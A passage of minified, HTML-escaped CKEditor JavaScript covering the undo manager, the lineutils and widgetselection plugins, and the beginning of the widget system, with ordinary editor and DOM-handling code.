&quot;ready&quot;!=d.status||&quot;wysiwyg&quot;!=d.mode)return!1;var e=d.editable();if(!e||&quot;ready&quot;!=e.status)return!1;e=this.snapshots;b||(b=new f(d));if(!1===b.contents)return!1;if(this.currentImage)if(b.equalsContent(this.currentImage)){if(a||b.equalsSelection(this.currentImage))return!1}else!1!==c&amp;&amp;d.fire(&quot;change&quot;);e.splice(this.index+1,e.length-this.index-1);e.length==this.limit&amp;&amp;e.shift();this.index=e.push(b)-1;this.currentImage=b;!1!==c&amp;&amp;this.refreshState();return!0},restoreImage:function(a){var b=this.editor,
c;a.bookmarks&amp;&amp;(b.focus(),c=b.getSelection());this.locked={level:999};this.editor.loadSnapshot(a.contents);a.bookmarks?c.selectBookmarks(a.bookmarks):CKEDITOR.env.ie&amp;&amp;(c=this.editor.document.getBody().$.createTextRange(),c.collapse(!0),c.select());this.locked=null;this.index=a.index;this.currentImage=this.snapshots[this.index];this.update();this.refreshState();b.fire(&quot;change&quot;)},getNextImage:function(a){var b=this.snapshots,c=this.currentImage,d;if(c)if(a)for(d=this.index-1;0&lt;=d;d--){if(a=b[d],!c.equalsContent(a))return a.index=
d,a}else for(d=this.index+1;d&lt;b.length;d++)if(a=b[d],!c.equalsContent(a))return a.index=d,a;return null},redoable:function(){return this.enabled&amp;&amp;this.hasRedo},undoable:function(){return this.enabled&amp;&amp;this.hasUndo},undo:function(){if(this.undoable()){this.save(!0);var a=this.getNextImage(!0);if(a)return this.restoreImage(a),!0}return!1},redo:function(){if(this.redoable()&amp;&amp;(this.save(!0),this.redoable())){var a=this.getNextImage(!1);if(a)return this.restoreImage(a),!0}return!1},update:function(a){if(!this.locked){a||
(a=new f(this.editor));for(var b=this.index,c=this.snapshots;0&lt;b&amp;&amp;this.currentImage.equalsContent(c[b-1]);)--b;c.splice(b,this.index-b+1,a);this.index=b;this.currentImage=a}},updateSelection:function(a){if(!this.snapshots.length)return!1;var b=this.snapshots,c=b[b.length-1];return c.equalsContent(a)&amp;&amp;!c.equalsSelection(a)?(this.currentImage=b[b.length-1]=a,!0):!1},lock:function(a,b){if(this.locked)this.locked.level++;else if(a)this.locked={level:1};else{var c=null;if(b)c=!0;else{var d=new f(this.editor,
!0);this.currentImage&amp;&amp;this.currentImage.equalsContent(d)&amp;&amp;(c=d)}this.locked={update:c,level:1}}},unlock:function(){if(this.locked&amp;&amp;!--this.locked.level){var a=this.locked.update;this.locked=null;if(!0===a)this.update();else if(a){var b=new f(this.editor,!0);a.equalsContent(b)||this.update()}}}};e.navigationKeyCodes={37:1,38:1,39:1,40:1,36:1,35:1,33:1,34:1};e.keyGroups={PRINTABLE:0,FUNCTIONAL:1};e.isNavigationKey=function(a){return!!e.navigationKeyCodes[a]};e.getKeyGroup=function(a){var b=e.keyGroups;
return n[a]?b.FUNCTIONAL:b.PRINTABLE};e.getOppositeKeyGroup=function(a){var b=e.keyGroups;return a==b.FUNCTIONAL?b.PRINTABLE:b.FUNCTIONAL};e.ieFunctionalKeysBug=function(a){return CKEDITOR.env.ie&amp;&amp;e.getKeyGroup(a)==e.keyGroups.FUNCTIONAL};var f=CKEDITOR.plugins.undo.Image=function(a,b){this.editor=a;a.fire(&quot;beforeUndoImage&quot;);var c=a.getSnapshot();CKEDITOR.env.ie&amp;&amp;c&amp;&amp;(c=c.replace(/\s+data-cke-expando=&quot;.*?&quot;/g,&quot;&quot;));this.contents=c;b||(this.bookmarks=(c=c&amp;&amp;a.getSelection())&amp;&amp;c.createBookmarks2(!0));a.fire(&quot;afterUndoImage&quot;)},
h=/\b(?:href|src|name)=&quot;[^&quot;]*?&quot;/gi;f.prototype={equalsContent:function(a){var b=this.contents;a=a.contents;CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)&amp;&amp;(b=b.replace(h,&quot;&quot;),a=a.replace(h,&quot;&quot;));return b!=a?!1:!0},equalsSelection:function(a){var b=this.bookmarks;a=a.bookmarks;if(b||a){if(!b||!a||b.length!=a.length)return!1;for(var c=0;c&lt;b.length;c++){var d=b[c],e=a[c];if(d.startOffset!=e.startOffset||d.endOffset!=e.endOffset||!CKEDITOR.tools.arrayCompare(d.start,e.start)||!CKEDITOR.tools.arrayCompare(d.end,
e.end))return!1}}return!0}};var k=CKEDITOR.plugins.undo.NativeEditingHandler=function(a){this.undoManager=a;this.ignoreInputEvent=!1;this.keyEventsStack=new m;this.lastKeydownImage=null};k.prototype={onKeydown:function(a){var b=a.data.getKey();if(229!==b)if(-1&lt;CKEDITOR.tools.indexOf(g,a.data.getKeystroke()))a.data.preventDefault();else if(this.keyEventsStack.cleanUp(a),a=this.undoManager,this.keyEventsStack.getLast(b)||this.keyEventsStack.push(b),this.lastKeydownImage=new f(a.editor),e.isNavigationKey(b)||
this.undoManager.keyGroupChanged(b))if(a.strokesRecorded[0]||a.strokesRecorded[1])a.save(!1,this.lastKeydownImage,!1),a.resetType()},onInput:function(){if(this.ignoreInputEvent)this.ignoreInputEvent=!1;else{var a=this.keyEventsStack.getLast();a||(a=this.keyEventsStack.push(0));this.keyEventsStack.increment(a.keyCode);this.keyEventsStack.getTotalInputs()&gt;=this.undoManager.strokesLimit&amp;&amp;(this.undoManager.type(a.keyCode,!0),this.keyEventsStack.resetInputs())}},onKeyup:function(a){var b=this.undoManager;
a=a.data.getKey();var c=this.keyEventsStack.getTotalInputs();this.keyEventsStack.remove(a);if(!(e.ieFunctionalKeysBug(a)&amp;&amp;this.lastKeydownImage&amp;&amp;this.lastKeydownImage.equalsContent(new f(b.editor,!0))))if(0&lt;c)b.type(a);else if(e.isNavigationKey(a))this.onNavigationKey(!0)},onNavigationKey:function(a){var b=this.undoManager;!a&amp;&amp;b.save(!0,null,!1)||b.updateSelection(new f(b.editor));b.resetType()},ignoreInputEventListener:function(){this.ignoreInputEvent=!0},activateInputEventListener:function(){this.ignoreInputEvent=
!1},attachListeners:function(){var a=this.undoManager.editor,b=a.editable(),c=this;b.attachListener(b,&quot;keydown&quot;,function(a){c.onKeydown(a);if(e.ieFunctionalKeysBug(a.data.getKey()))c.onInput()},null,null,999);b.attachListener(b,CKEDITOR.env.ie?&quot;keypress&quot;:&quot;input&quot;,c.onInput,c,null,999);b.attachListener(b,&quot;keyup&quot;,c.onKeyup,c,null,999);b.attachListener(b,&quot;paste&quot;,c.ignoreInputEventListener,c,null,999);b.attachListener(b,&quot;drop&quot;,c.ignoreInputEventListener,c,null,999);a.on(&quot;afterPaste&quot;,c.activateInputEventListener,
c,null,999);b.attachListener(b.isInline()?b:a.document.getDocumentElement(),&quot;click&quot;,function(){c.onNavigationKey()},null,null,999);b.attachListener(this.undoManager.editor,&quot;blur&quot;,function(){c.keyEventsStack.remove(9)},null,null,999)}};var m=CKEDITOR.plugins.undo.KeyEventsStack=function(){this.stack=[]};m.prototype={push:function(a){a=this.stack.push({keyCode:a,inputs:0});return this.stack[a-1]},getLastIndex:function(a){if(&quot;number&quot;!=typeof a)return this.stack.length-1;for(var b=this.stack.length;b--;)if(this.stack[b].keyCode==
a)return b;return-1},getLast:function(a){a=this.getLastIndex(a);return-1!=a?this.stack[a]:null},increment:function(a){this.getLast(a).inputs++},remove:function(a){a=this.getLastIndex(a);-1!=a&amp;&amp;this.stack.splice(a,1)},resetInputs:function(a){if(&quot;number&quot;==typeof a)this.getLast(a).inputs=0;else for(a=this.stack.length;a--;)this.stack[a].inputs=0},getTotalInputs:function(){for(var a=this.stack.length,b=0;a--;)b+=this.stack[a].inputs;return b},cleanUp:function(a){a=a.data.$;a.ctrlKey||a.metaKey||this.remove(17);
a.shiftKey||this.remove(16);a.altKey||this.remove(18)}}})();(function(){function m(a,d){CKEDITOR.tools.extend(this,{editor:a,editable:a.editable(),doc:a.document,win:a.window},d,!0);this.inline=this.editable.isInline();this.inline||(this.frame=this.win.getFrame());this.target=this[this.inline?&quot;editable&quot;:&quot;doc&quot;]}function n(a,d){CKEDITOR.tools.extend(this,d,{editor:a},!0)}function p(a,d){var b=a.editable();CKEDITOR.tools.extend(this,{editor:a,editable:b,inline:b.isInline(),doc:a.document,win:a.window,container:CKEDITOR.document.getBody(),winTop:CKEDITOR.document.getWindow()},
d,!0);this.hidden={};this.visible={};this.inline||(this.frame=this.win.getFrame());this.queryViewport();var c=CKEDITOR.tools.bind(this.queryViewport,this),e=CKEDITOR.tools.bind(this.hideVisible,this),g=CKEDITOR.tools.bind(this.removeAll,this);b.attachListener(this.winTop,&quot;resize&quot;,c);b.attachListener(this.winTop,&quot;scroll&quot;,c);b.attachListener(this.winTop,&quot;resize&quot;,e);b.attachListener(this.win,&quot;scroll&quot;,e);b.attachListener(this.inline?b:this.frame,&quot;mouseout&quot;,function(a){var b=a.data.$.clientX;a=a.data.$.clientY;
this.queryViewport();(b&lt;=this.rect.left||b&gt;=this.rect.right||a&lt;=this.rect.top||a&gt;=this.rect.bottom)&amp;&amp;this.hideVisible();(0&gt;=b||b&gt;=this.winTopPane.width||0&gt;=a||a&gt;=this.winTopPane.height)&amp;&amp;this.hideVisible()},this);b.attachListener(a,&quot;resize&quot;,c);b.attachListener(a,&quot;mode&quot;,g);a.on(&quot;destroy&quot;,g);this.lineTpl=(new CKEDITOR.template(&#039;\x3cdiv data-cke-lineutils-line\x3d&quot;1&quot; class\x3d&quot;cke_reset_all&quot; style\x3d&quot;{lineStyle}&quot;\x3e\x3cspan style\x3d&quot;{tipLeftStyle}&quot;\x3e\x26nbsp;\x3c/span\x3e\x3cspan style\x3d&quot;{tipRightStyle}&quot;\x3e\x26nbsp;\x3c/span\x3e\x3c/div\x3e&#039;)).output({lineStyle:CKEDITOR.tools.writeCssText(CKEDITOR.tools.extend({},
t,this.lineStyle,!0)),tipLeftStyle:CKEDITOR.tools.writeCssText(CKEDITOR.tools.extend({},q,{left:&quot;0px&quot;,&quot;border-left-color&quot;:&quot;red&quot;,&quot;border-width&quot;:&quot;6px 0 6px 6px&quot;},this.tipCss,this.tipLeftStyle,!0)),tipRightStyle:CKEDITOR.tools.writeCssText(CKEDITOR.tools.extend({},q,{right:&quot;0px&quot;,&quot;border-right-color&quot;:&quot;red&quot;,&quot;border-width&quot;:&quot;6px 6px 6px 0&quot;},this.tipCss,this.tipRightStyle,!0))})}function l(a){var d;if(d=a&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT)d=!(r[a.getComputedStyle(&quot;float&quot;)]||r[a.getAttribute(&quot;align&quot;)]);return d&amp;&amp;
!u[a.getComputedStyle(&quot;position&quot;)]}CKEDITOR.plugins.add(&quot;lineutils&quot;);CKEDITOR.LINEUTILS_BEFORE=1;CKEDITOR.LINEUTILS_AFTER=2;CKEDITOR.LINEUTILS_INSIDE=4;m.prototype={start:function(a){var d=this,b=this.editor,c=this.doc,e,g,f,h,k=CKEDITOR.tools.eventsBuffer(50,function(){b.readOnly||&quot;wysiwyg&quot;!=b.mode||(d.relations={},(g=c.$.elementFromPoint(f,h))&amp;&amp;g.nodeType&amp;&amp;(e=new CKEDITOR.dom.element(g),d.traverseSearch(e),isNaN(f+h)||d.pixelSearch(e,f,h),a&amp;&amp;a(d.relations,f,h)))});this.listener=this.editable.attachListener(this.target,
&quot;mousemove&quot;,function(a){f=a.data.$.clientX;h=a.data.$.clientY;k.input()});this.editable.attachListener(this.inline?this.editable:this.frame,&quot;mouseout&quot;,function(){k.reset()})},stop:function(){this.listener&amp;&amp;this.listener.removeListener()},getRange:function(){var a={};a[CKEDITOR.LINEUTILS_BEFORE]=CKEDITOR.POSITION_BEFORE_START;a[CKEDITOR.LINEUTILS_AFTER]=CKEDITOR.POSITION_AFTER_END;a[CKEDITOR.LINEUTILS_INSIDE]=CKEDITOR.POSITION_AFTER_START;return function(d){var b=this.editor.createRange();b.moveToPosition(this.relations[d.uid].element,
a[d.type]);return b}}(),store:function(){function a(a,b,c){var e=a.getUniqueId();e in c?c[e].type|=b:c[e]={element:a,type:b}}return function(d,b){var c;b&amp;CKEDITOR.LINEUTILS_AFTER&amp;&amp;l(c=d.getNext())&amp;&amp;c.isVisible()&amp;&amp;(a(c,CKEDITOR.LINEUTILS_BEFORE,this.relations),b^=CKEDITOR.LINEUTILS_AFTER);b&amp;CKEDITOR.LINEUTILS_INSIDE&amp;&amp;l(c=d.getFirst())&amp;&amp;c.isVisible()&amp;&amp;(a(c,CKEDITOR.LINEUTILS_BEFORE,this.relations),b^=CKEDITOR.LINEUTILS_INSIDE);a(d,b,this.relations)}}(),traverseSearch:function(a){var d,b,c;do if(c=a.$[&quot;data-cke-expando&quot;],
!(c&amp;&amp;c in this.relations)){if(a.equals(this.editable))break;if(l(a))for(d in this.lookups)(b=this.lookups[d](a))&amp;&amp;this.store(a,b)}while((!a||a.type!=CKEDITOR.NODE_ELEMENT||&quot;true&quot;!=a.getAttribute(&quot;contenteditable&quot;))&amp;&amp;(a=a.getParent()))},pixelSearch:function(){function a(a,c,e,g,f){for(var h=0,k;f(e);){e+=g;if(25==++h)break;if(k=this.doc.$.elementFromPoint(c,e))if(k==a)h=0;else if(d(a,k)&amp;&amp;(h=0,l(k=new CKEDITOR.dom.element(k))))return k}}var d=CKEDITOR.env.ie||CKEDITOR.env.webkit?function(a,c){return a.contains(c)}:
function(a,c){return!!(a.compareDocumentPosition(c)&amp;16)};return function(b,c,d){var g=this.win.getViewPaneSize().height,f=a.call(this,b.$,c,d,-1,function(a){return 0&lt;a});c=a.call(this,b.$,c,d,1,function(a){return a&lt;g});if(f)for(this.traverseSearch(f);!f.getParent().equals(b);)f=f.getParent();if(c)for(this.traverseSearch(c);!c.getParent().equals(b);)c=c.getParent();for(;f||c;){f&amp;&amp;(f=f.getNext(l));if(!f||f.equals(c))break;this.traverseSearch(f);c&amp;&amp;(c=c.getPrevious(l));if(!c||c.equals(f))break;this.traverseSearch(c)}}}(),
greedySearch:function(){this.relations={};for(var a=this.editable.getElementsByTag(&quot;*&quot;),d=0,b,c,e;b=a.getItem(d++);)if(!b.equals(this.editable)&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(b.hasAttribute(&quot;contenteditable&quot;)||!b.isReadOnly())&amp;&amp;l(b)&amp;&amp;b.isVisible())for(e in this.lookups)(c=this.lookups[e](b))&amp;&amp;this.store(b,c);return this.relations}};n.prototype={locate:function(){function a(a,b){var c=a.element[b===CKEDITOR.LINEUTILS_BEFORE?&quot;getPrevious&quot;:&quot;getNext&quot;]();return c&amp;&amp;l(c)?(a.siblingRect=c.getClientRect(),
b==CKEDITOR.LINEUTILS_BEFORE?(a.siblingRect.bottom+a.elementRect.top)/2:(a.elementRect.bottom+a.siblingRect.top)/2):b==CKEDITOR.LINEUTILS_BEFORE?a.elementRect.top:a.elementRect.bottom}return function(d){var b;this.locations={};for(var c in d)b=d[c],b.elementRect=b.element.getClientRect(),b.type&amp;CKEDITOR.LINEUTILS_BEFORE&amp;&amp;this.store(c,CKEDITOR.LINEUTILS_BEFORE,a(b,CKEDITOR.LINEUTILS_BEFORE)),b.type&amp;CKEDITOR.LINEUTILS_AFTER&amp;&amp;this.store(c,CKEDITOR.LINEUTILS_AFTER,a(b,CKEDITOR.LINEUTILS_AFTER)),b.type&amp;
CKEDITOR.LINEUTILS_INSIDE&amp;&amp;this.store(c,CKEDITOR.LINEUTILS_INSIDE,(b.elementRect.top+b.elementRect.bottom)/2);return this.locations}}(),sort:function(){var a,d,b,c;return function(e,g){a=this.locations;d=[];for(var f in a)for(var h in a[f])if(b=Math.abs(e-a[f][h]),d.length){for(c=0;c&lt;d.length;c++)if(b&lt;d[c].dist){d.splice(c,0,{uid:+f,type:h,dist:b});break}c==d.length&amp;&amp;d.push({uid:+f,type:h,dist:b})}else d.push({uid:+f,type:h,dist:b});return&quot;undefined&quot;!=typeof g?d.slice(0,g):d}}(),store:function(a,
d,b){this.locations[a]||(this.locations[a]={});this.locations[a][d]=b}};var q={display:&quot;block&quot;,width:&quot;0px&quot;,height:&quot;0px&quot;,&quot;border-color&quot;:&quot;transparent&quot;,&quot;border-style&quot;:&quot;solid&quot;,position:&quot;absolute&quot;,top:&quot;-6px&quot;},t={height:&quot;0px&quot;,&quot;border-top&quot;:&quot;1px dashed red&quot;,position:&quot;absolute&quot;,&quot;z-index&quot;:9999};p.prototype={removeAll:function(){for(var a in this.hidden)this.hidden[a].remove(),delete this.hidden[a];for(a in this.visible)this.visible[a].remove(),delete this.visible[a]},hideLine:function(a){var d=a.getUniqueId();
a.hide();this.hidden[d]=a;delete this.visible[d]},showLine:function(a){var d=a.getUniqueId();a.show();this.visible[d]=a;delete this.hidden[d]},hideVisible:function(){for(var a in this.visible)this.hideLine(this.visible[a])},placeLine:function(a,d){var b,c,e;if(b=this.getStyle(a.uid,a.type)){for(e in this.visible)if(this.visible[e].getCustomData(&quot;hash&quot;)!==this.hash){c=this.visible[e];break}if(!c)for(e in this.hidden)if(this.hidden[e].getCustomData(&quot;hash&quot;)!==this.hash){this.showLine(c=this.hidden[e]);
break}c||this.showLine(c=this.addLine());c.setCustomData(&quot;hash&quot;,this.hash);this.visible[c.getUniqueId()]=c;c.setStyles(b);d&amp;&amp;d(c)}},getStyle:function(a,d){var b=this.relations[a],c=this.locations[a][d],e={};e.width=b.siblingRect?Math.max(b.siblingRect.width,b.elementRect.width):b.elementRect.width;e.top=this.inline?c+this.winTopScroll.y-this.rect.relativeY:this.rect.top+this.winTopScroll.y+c;if(e.top-this.winTopScroll.y&lt;this.rect.top||e.top-this.winTopScroll.y&gt;this.rect.bottom)return!1;this.inline?
e.left=b.elementRect.left-this.rect.relativeX:(0&lt;b.elementRect.left?e.left=this.rect.left+b.elementRect.left:(e.width+=b.elementRect.left,e.left=this.rect.left),0&lt;(b=e.left+e.width-(this.rect.left+this.winPane.width))&amp;&amp;(e.width-=b));e.left+=this.winTopScroll.x;for(var g in e)e[g]=CKEDITOR.tools.cssLength(e[g]);return e},addLine:function(){var a=CKEDITOR.dom.element.createFromHtml(this.lineTpl);a.appendTo(this.container);return a},prepare:function(a,d){this.relations=a;this.locations=d;this.hash=Math.random()},
cleanup:function(){var a,d;for(d in this.visible)a=this.visible[d],a.getCustomData(&quot;hash&quot;)!==this.hash&amp;&amp;this.hideLine(a)},queryViewport:function(){this.winPane=this.win.getViewPaneSize();this.winTopScroll=this.winTop.getScrollPosition();this.winTopPane=this.winTop.getViewPaneSize();this.rect=this.getClientRect(this.inline?this.editable:this.frame)},getClientRect:function(a){a=a.getClientRect();var d=this.container.getDocumentPosition(),b=this.container.getComputedStyle(&quot;position&quot;);a.relativeX=a.relativeY=
0;&quot;static&quot;!=b&amp;&amp;(a.relativeY=d.y,a.relativeX=d.x,a.top-=a.relativeY,a.bottom-=a.relativeY,a.left-=a.relativeX,a.right-=a.relativeX);return a}};var r={left:1,right:1,center:1},u={absolute:1,fixed:1};CKEDITOR.plugins.lineutils={finder:m,locator:n,liner:p}})();(function(){function e(a){return a.getName&amp;&amp;!a.hasAttribute(&quot;data-cke-temp&quot;)}CKEDITOR.plugins.add(&quot;widgetselection&quot;,{init:function(a){if(CKEDITOR.env.webkit){var b=CKEDITOR.plugins.widgetselection;a.on(&quot;contentDom&quot;,function(a){a=a.editor;var c=a.editable();c.attachListener(c,&quot;keydown&quot;,function(a){a.data.getKeystroke()==CKEDITOR.CTRL+65&amp;&amp;CKEDITOR.tools.setTimeout(function(){b.addFillers(c)||b.removeFillers(c)},0)},null,null,-1);a.on(&quot;selectionCheck&quot;,function(a){b.removeFillers(a.editor.editable())});
a.on(&quot;paste&quot;,function(a){a.data.dataValue=b.cleanPasteData(a.data.dataValue)});&quot;selectall&quot;in a.plugins&amp;&amp;b.addSelectAllIntegration(a)})}}});CKEDITOR.plugins.widgetselection={startFiller:null,endFiller:null,fillerAttribute:&quot;data-cke-filler-webkit&quot;,fillerContent:&quot;\x26nbsp;&quot;,fillerTagName:&quot;div&quot;,addFillers:function(a){var b=a.editor;if(!this.isWholeContentSelected(a)&amp;&amp;0&lt;a.getChildCount()){var d=a.getFirst(e),c=a.getLast(e);d&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!d.isEditable()&amp;&amp;(this.startFiller=this.createFiller(),
a.append(this.startFiller,1));c&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!c.isEditable()&amp;&amp;(this.endFiller=this.createFiller(!0),a.append(this.endFiller,0));if(this.hasFiller(a))return b=b.createRange(),b.selectNodeContents(a),b.select(),!0}return!1},removeFillers:function(a){if(this.hasFiller(a)&amp;&amp;!this.isWholeContentSelected(a)){var b=a.findOne(this.fillerTagName+&quot;[&quot;+this.fillerAttribute+&quot;\x3dstart]&quot;),d=a.findOne(this.fillerTagName+&quot;[&quot;+this.fillerAttribute+&quot;\x3dend]&quot;);this.startFiller&amp;&amp;b&amp;&amp;this.startFiller.equals(b)?
this.removeFiller(this.startFiller,a):this.startFiller=b;this.endFiller&amp;&amp;d&amp;&amp;this.endFiller.equals(d)?this.removeFiller(this.endFiller,a):this.endFiller=d}},cleanPasteData:function(a){a&amp;&amp;a.length&amp;&amp;(a=a.replace(this.createFillerRegex(),&quot;&quot;).replace(this.createFillerRegex(!0),&quot;&quot;));return a},isWholeContentSelected:function(a){var b=a.editor.getSelection().getRanges()[0];return!b||b&amp;&amp;b.collapsed?!1:(b=b.clone(),b.enlarge(CKEDITOR.ENLARGE_ELEMENT),!!(b&amp;&amp;a&amp;&amp;b.startContainer&amp;&amp;b.endContainer&amp;&amp;0===b.startOffset&amp;&amp;
b.endOffset===a.getChildCount()&amp;&amp;b.startContainer.equals(a)&amp;&amp;b.endContainer.equals(a)))},hasFiller:function(a){return 0&lt;a.find(this.fillerTagName+&quot;[&quot;+this.fillerAttribute+&quot;]&quot;).count()},createFiller:function(a){var b=new CKEDITOR.dom.element(this.fillerTagName);b.setHtml(this.fillerContent);b.setAttribute(this.fillerAttribute,a?&quot;end&quot;:&quot;start&quot;);b.setAttribute(&quot;data-cke-temp&quot;,1);b.setStyles({display:&quot;block&quot;,width:0,height:0,padding:0,border:0,margin:0,position:&quot;absolute&quot;,top:0,left:&quot;-9999px&quot;,opacity:0,
overflow:&quot;hidden&quot;});return b},removeFiller:function(a,b){if(a){var d=b.editor,c=b.editor.getSelection().getRanges()[0].startPath(),f=d.createRange(),g,e;c.contains(a)&amp;&amp;(g=a.getHtml(),e=!0);c=&quot;start&quot;==a.getAttribute(this.fillerAttribute);a.remove();g&amp;&amp;0&lt;g.length&amp;&amp;g!=this.fillerContent?(b.insertHtmlIntoRange(g,d.getSelection().getRanges()[0]),f.setStartAt(b.getChild(b.getChildCount()-1),CKEDITOR.POSITION_BEFORE_END),d.getSelection().selectRanges([f])):e&amp;&amp;(c?f.setStartAt(b.getFirst().getNext(),CKEDITOR.POSITION_AFTER_START):
f.setEndAt(b.getLast().getPrevious(),CKEDITOR.POSITION_BEFORE_END),b.editor.getSelection().selectRanges([f]))}},createFillerRegex:function(a){var b=this.createFiller(a).getOuterHtml().replace(/style=&quot;[^&quot;]*&quot;/gi,&#039;style\x3d&quot;[^&quot;]*&quot;&#039;).replace(/&gt;[^&lt;]*&lt;/gi,&quot;\x3e[^\x3c]*\x3c&quot;);return new RegExp((a?&quot;&quot;:&quot;^&quot;)+b+(a?&quot;$&quot;:&quot;&quot;))},addSelectAllIntegration:function(a){var b=this;a.editable().attachListener(a,&quot;beforeCommandExec&quot;,function(d){var c=a.editable();&quot;selectAll&quot;==d.data.name&amp;&amp;c&amp;&amp;b.addFillers(c)},null,null,9999)}}})();(function(){function p(a){this.editor=a;this.registered={};this.instances={};this.selected=[];this.widgetHoldingFocusedEditable=this.focused=null;this._={nextId:0,upcasts:[],upcastCallbacks:[],filters:{}};I(this);J(this);this.on(&quot;checkWidgets&quot;,K);this.editor.on(&quot;contentDomInvalidated&quot;,this.checkWidgets,this);L(this);M(this);N(this);O(this);P(this)}function g(a,b,c,d,e){var f=a.editor;CKEDITOR.tools.extend(this,d,{editor:f,id:b,inline:&quot;span&quot;==c.getParent().getName(),element:c,data:CKEDITOR.tools.extend({},
&quot;function&quot;==typeof d.defaults?d.defaults():d.defaults),dataReady:!1,inited:!1,ready:!1,edit:g.prototype.edit,focusedEditable:null,definition:d,repository:a,draggable:!1!==d.draggable,_:{downcastFn:d.downcast&amp;&amp;&quot;string&quot;==typeof d.downcast?d.downcasts[d.downcast]:d.downcast}},!0);a.fire(&quot;instanceCreated&quot;,this);Q(this,d);this.init&amp;&amp;this.init();this.inited=!0;(a=this.element.data(&quot;cke-widget-data&quot;))&amp;&amp;this.setData(JSON.parse(decodeURIComponent(a)));e&amp;&amp;this.setData(e);this.data.classes||this.setData(&quot;classes&quot;,
this.getClasses());this.dataReady=!0;r(this);this.fire(&quot;data&quot;,this.data);this.isInited()&amp;&amp;f.editable().contains(this.wrapper)&amp;&amp;(this.ready=!0,this.fire(&quot;ready&quot;))}function q(a,b,c){CKEDITOR.dom.element.call(this,b.$);this.editor=a;this._={};b=this.filter=c.filter;CKEDITOR.dtd[this.getName()].p?(this.enterMode=b?b.getAllowedEnterMode(a.enterMode):a.enterMode,this.shiftEnterMode=b?b.getAllowedEnterMode(a.shiftEnterMode,!0):a.shiftEnterMode):this.enterMode=this.shiftEnterMode=CKEDITOR.ENTER_BR}function R(a,
b){a.addCommand(b.name,{exec:function(a,d){function e(){a.widgets.finalizeCreation(k)}var f=a.widgets.focused;if(f&amp;&amp;f.name==b.name)f.edit();else if(b.insert)b.insert({editor:a,commandData:d});else if(b.template){var f=&quot;function&quot;==typeof b.defaults?b.defaults():b.defaults,f=CKEDITOR.dom.element.createFromHtml(b.template.output(f)),h,l=a.widgets.wrapElement(f,b.name),k=new CKEDITOR.dom.documentFragment(l.getDocument());k.append(l);(h=a.widgets.initOn(f,b,d&amp;&amp;d.startupData))?(f=h.once(&quot;edit&quot;,function(b){if(b.data.dialog)h.once(&quot;dialog&quot;,
function(b){b=b.data;var d,f;d=b.once(&quot;ok&quot;,e,null,null,20);f=b.once(&quot;cancel&quot;,function(b){b.data&amp;&amp;!1===b.data.hide||a.widgets.destroy(h,!0)});b.once(&quot;hide&quot;,function(){d.removeListener();f.removeListener()})});else e()},null,null,999),h.edit(),f.removeListener()):e()}},allowedContent:b.allowedContent,requiredContent:b.requiredContent,contentForms:b.contentForms,contentTransformations:b.contentTransformations})}function S(a,b){function c(a,c){var d=b.upcast.split(&quot;,&quot;),e,f;for(f=0;f&lt;d.length;f++)if(e=
d[f],e===a.name)return b.upcasts[e].call(this,a,c);return!1}function d(b,d,c){var e=CKEDITOR.tools.getIndex(a._.upcasts,function(a){return a[2]&gt;c});0&gt;e&amp;&amp;(e=a._.upcasts.length);a._.upcasts.splice(e,0,[CKEDITOR.tools.bind(b,d),d.name,c])}var e=b.upcast,f=b.upcastPriority||10;e&amp;&amp;(&quot;string&quot;==typeof e?d(c,b,f):d(e,b,f))}function t(a,b){a.focused=null;if(b.isInited()){var c=b.editor.checkDirty();a.fire(&quot;widgetBlurred&quot;,{widget:b});b.setFocused(!1);!c&amp;&amp;b.editor.resetDirty()}}function K(a){a=a.data;if(&quot;wysiwyg&quot;==
this.editor.mode){var b=this.editor.editable(),c=this.instances,d,e,f,h;if(b){for(d in c)c[d].isReady()&amp;&amp;!b.contains(c[d].wrapper)&amp;&amp;this.destroy(c[d],!0);if(a&amp;&amp;a.initOnlyNew)c=this.initOnAll();else{var l=b.find(&quot;.cke_widget_wrapper&quot;),c=[];d=0;for(e=l.count();d&lt;e;d++){f=l.getItem(d);if(h=!this.getByElement(f,!0)){a:{h=T;for(var k=f;k=k.getParent();)if(h(k)){h=!0;break a}h=!1}h=!h}h&amp;&amp;b.contains(f)&amp;&amp;(f.addClass(&quot;cke_widget_new&quot;),c.push(this.initOn(f.getFirst(g.isDomWidgetElement))))}}a&amp;&amp;a.focusInited&amp;&amp;
1==c.length&amp;&amp;c[0].focus()}}}function u(a){if(&quot;undefined&quot;!=typeof a.attributes&amp;&amp;a.attributes[&quot;data-widget&quot;]){var b=v(a),c=w(a),d=!1;b&amp;&amp;b.value&amp;&amp;b.value.match(/^\s/g)&amp;&amp;(b.parent.attributes[&quot;data-cke-white-space-first&quot;]=1,b.value=b.value.replace(/^\s/g,&quot;\x26nbsp;&quot;),d=!0);c&amp;&amp;c.value&amp;&amp;c.value.match(/\s$/g)&amp;&amp;(c.parent.attributes[&quot;data-cke-white-space-last&quot;]=1,c.value=c.value.replace(/\s$/g,&quot;\x26nbsp;&quot;),d=!0);d&amp;&amp;(a.attributes[&quot;data-cke-widget-white-space&quot;]=1)}}function v(a){return a.find(function(a){return 3===
a.type},!0).shift()}function w(a){return a.find(function(a){return 3===a.type},!0).pop()}function x(a,b,c){if(!c.allowedContent&amp;&amp;!c.disallowedContent)return null;var d=this._.filters[a];d||(this._.filters[a]=d={});a=d[b];a||(a=c.allowedContent?new CKEDITOR.filter(c.allowedContent):this.editor.filter.clone(),d[b]=a,c.disallowedContent&amp;&amp;a.disallow(c.disallowedContent));return a}function U(a){var b=[],c=a._.upcasts,d=a._.upcastCallbacks;return{toBeWrapped:b,iterator:function(a){var f,h,l,k,m;if(&quot;data-cke-widget-wrapper&quot;in
